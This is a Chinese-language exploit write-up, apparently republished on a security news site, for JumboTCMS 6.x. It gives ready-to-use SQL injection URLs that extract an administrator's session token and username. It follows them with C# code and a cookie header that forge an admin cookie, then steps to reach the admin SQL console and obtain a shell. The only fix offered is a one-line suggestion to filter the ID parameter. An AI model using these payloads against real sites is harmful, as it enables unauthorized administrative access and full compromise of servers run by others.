Jumbotcms 6.x 通过注射by pass 后台权限认证
Jumbotcms是一套应用广泛的开源.NET的CMS程序,jumbotcms采用微软推荐的多层安全架构,应用广泛,安全系数较高。
这次出现的问题主要是新改的权限认证方面和注射
通过注射,获得cookiess字段,再伪造cookie绕过后台认证
Q1 为什么不查密码?
密码没用,不能解码
Q2 为什么不直接update数据库?
限制了分号。
注射步骤:
获得Cookiess字段
http://localhost:1104/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 Cookiess FROM jcms_normal_user where AdminState=1
获得用户名(MSSQL的substring下表是从1开始的)
http://localhost:1104/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,1,1)) FROM jcms_normal_user where AdminState=1
http://localhost:1104/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,2,1)) FROM jcms_normal_user where AdminState=1
注意:这里的cType=paper是模块名称,当前能试用这个注射的只有三种模块paper、soft、document。某些二次开发的站点可能删掉了soft,不过document或者paper基本都应该存在吧。测试的时候如果不好使,可以换一个模块试试
权限绕过步骤:
1 首先获取cookie中的版本号,随便访问页面即可获得。再到浏览器地址栏输入javascript:alert(document.cookie)
2 加入cookie的名称为:版本号admin
然后为先建的cookie中加多个子集
id=用户id
name=用户名
cookiess=cookiess(从上方获得的cookiess是数字,前面必须加一个小写的c,比如c59268931)
exp code:
HttpCookie hc = new HttpCookie("jcmsV6.8.0.0801admin");hc.Values.Add("id", "1");hc.Values.Add("name", "123");hc.Values.Add("cookiess", "c59268931");hc.Domain = "localhost"; //这里写上需要测试网站的域Response.Cookies.Add(hc);
http头的cookie例子:
jcmsV6.8.0.0801admin=id=1&name=123&cookiess=c59268931
3 伪造referer
4 访问:/admin/executesql_default.aspx 试试
或者直接访问 /admin/
5 getshell
方法比较多,毕竟后台有那么多功能,比如exec sql
ps.利用方法真蛋疼
修复方案:
过滤注射的ID字段
>更多相关文章
- 11-15不看后悔!程序员防御XSS的无奈
- 11-10揭秘Web黑客3种注入点判断方法
- 11-10黑客Web脚本注入攻击深度剖析
- 10-21全球无线网络面临黑客攻击风险 WiFi曝安全漏洞
- 02-24iPhone再爆安全漏洞 黑客1分钟可盗照片及加密信息
- 02-22互联网金融风险 警示网站漏洞或成“致命点”
首页推荐
佛山市东联科技有限公司一直秉承“一切以用户价值为依归
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 12-05亚马逊推出新一代基础模型 任意模态生成大模
- 12-05OpenAI拓展欧洲业务 将在苏黎世设立办公室
- 12-05微软质疑美国联邦贸易委员会泄露信息 督促其
- 12-05联交所取消宝宝树上市地位 宝宝树:不会对公
- 12-04企业微信致歉:文档打开异常已完成修复
相关文章
24小时热门资讯
24小时回复排行
热门推荐
最新资讯
操作系统
黑客防御